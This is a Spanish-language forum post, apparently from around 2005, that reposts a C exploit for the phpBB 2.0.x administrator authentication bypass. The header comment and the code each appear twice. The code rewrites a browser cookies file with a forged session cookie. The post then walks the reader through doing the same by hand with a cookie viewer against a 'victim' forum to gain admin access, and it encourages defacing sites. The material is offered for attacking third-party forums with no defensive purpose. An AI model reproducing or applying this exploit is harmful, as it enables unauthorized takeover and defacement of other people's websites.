Autor
Hoy por la noche encontre este exploit en la web de http://www.k-otik.com esta muy facil de usar fuen enviado por un tal Paisterist.
phpBB Session Handling Administrator Authentication Bypass Exploit
http://www.k-otik.com/exploits/20050228.phpbbsession.c.php
Citar
phpBB 2.0.x Session Handling Administrator Authentication Bypass Exploit
Date : 28/02/2005
Related Advisories : KOTIK/ADV-2005-0212
Rated as : High
/*
Author: Paisterist
Date: 28-02-05
[N]eoecurity [T]eam ©
Description: this exploit modify the user id that is in your
cookies.txt (Firefox and Mozilla) file.
You have to log in the forum, with the autologin option unchecked,
then you close the navigator and
execute the exploit.
If you have any problem with the exploit, remove all cookies and do all
again.
Note: you have to put the exploit in the same directory of cookies.txt.
This exploit overwrite all phpbb cookies that have the user id
specified.
I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS
DISCOVERED IT.
By Paisterist
http://neosecurityteam.net
http://neosecurityteam.tk
Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx,
Arcanhell, Alluz.
Date : 28/02/2005
Related Advisories : KOTIK/ADV-2005-0212
Rated as : High
/*
Author: Paisterist
Date: 28-02-05
[N]eo
Description: this exploit modify the user id that is in your
cookies.txt (Firefox and Mozilla) file.
You have to log in the forum, with the autologin option unchecked,
then you close the navigator and
execute the exploit.
If you have any problem with the exploit, remove all cookies and do all
again.
Note: you have to put the exploit in the same directory of cookies.txt.
This exploit overwrite all phpbb cookies that have the user id
specified.
I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS
DISCOVERED IT.
By Paisterist
http://neosecurityteam.net
http://neosecurityteam.tk
Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx,
Arcanhell, Alluz.
El codigo de dicho exploit es el siguiente:
Código:
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],
cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],
cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;
if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");
if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}
strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],
cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],
cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;
if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");
if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}
strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
Bueno ahora para utilizarlo de una manera rapida y sencilla vamos a descargarnos el IE Cookie Viewer. de donde me lo descargo??? pues de esta web http://www.nirsoft.net/utils/iecv.zip
e el karen cookie viewer que ni anda nada mal http://www.karenware.com/progs/ptcookie-setup.exe
Una vez te lo hayas descargado lo descomprimer y lo ejecutas.
Ahora abre el IE explorer y pon la url de tu victima claro siendo un foro phpBB2.0.X
Ahora f5 en el programa y ahi busca la url o galleta de la web a atakar, tocala y en la parte de abajo veras que te aparece algo de base de datos msql.
Has click derecho en el y ponle modificar cookie
En la parte de abajo te apareceran los checks con todas las cookies de esa web, has click derecho en la de el foro y pon modificar cookie
Donde dice
Código:
a:0:{}
borralo y envez de eso ponCódigo:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
Una vez que lo hayas cambiado ponle modificar cookie y luego ponle que si
Despues dale a la url o la cookie y ponle abrir website.
Se te abrira una ventana en el explorador IE de el foro phpBB y te habras logeado como admin.
Bueno eso es todo, ahora si lo van a probar no anden de estupidos lammers jodiendo webs, pruebenlo solo haciendo llamados es decir solo pongan por ejemplo, DEFACED BY TU NOMBRE!, eso es todo no hay nesecidad de borrar nada.
Hasta la Proxima
En línea
